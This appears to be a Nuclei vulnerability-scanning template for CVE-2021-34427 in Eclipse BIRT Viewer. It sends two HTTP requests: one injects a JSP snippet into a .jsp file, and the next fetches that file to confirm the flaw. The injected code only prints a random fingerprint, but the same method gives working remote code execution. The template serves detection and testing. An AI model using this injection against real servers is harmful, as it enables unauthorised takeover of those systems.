id: CVE-2021-34427

info:
  name: Eclipse BIRT Viewer - Remote Code Execution
  author: us3r777,Synacktiv
  severity: critical
  description: |
    Eclipse BIRT versions 4.8.0 and earlier contain a JSP injection caused by query parameters, letting remote attackers create and access malicious JSP files in the viewer directory, exploit requires sending crafted query parameters.
  impact: |
    Unauthenticated attackers can create and access malicious JSP files via JSP injection, achieving remote code execution and complete server compromise.
  remediation: |
    Upgrade to Eclipse BIRT version 4.9.0 or later.
  reference:
    - https://bugs.eclipse.org/bugs/show_bug.cgi?id=538142
    - https://sec-consult.com/vulnerability-lab/advisory/remote-code-execution-bypass-eclipse-business-intelligence-reporting-birt/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34427
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-34427
    epss-score: 0.5771
    epss-percentile: 0.98961
    cwe-id: CWE-434
    cpe: cpe:2.3:a:eclipse:business_intelligence_and_reporting_tools:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vendor
    product: business_intelligence_and_reporting_tools
    shodan-query: 'http.title:"eclipse birt home"'
  tags: cve,cve2021,birt,rce,file-upload,intrusive,vuln,vkev

variables:
  filename: "{{rand_base(20)}}"
  fingerprint: "{{rand_base(20)}}"
  payload: "<%out.println(\"{{fingerprint}}\");%>"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /document?__report=test.rptdesign&sample={{url_encode(payload)}}&__document=./test/{{filename}}.jsp/. HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /test/{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body_1, "The report document file has been generated successfully.")'
          - 'contains(body_2, "{{fingerprint}}")'
          - 'contains(header_2, "text/html")'
        condition: and
# digest: 4a0a004730450221008a29f61d5a0f8b887426a9a720ef7517e44ff652a93350c7a23dc2697e450fae022045883b13812b4cd2f7b5f4560b9f799dd87991862e2b35f1bda76753be64e1fd:922c64590222798bb761d5b6d8e72950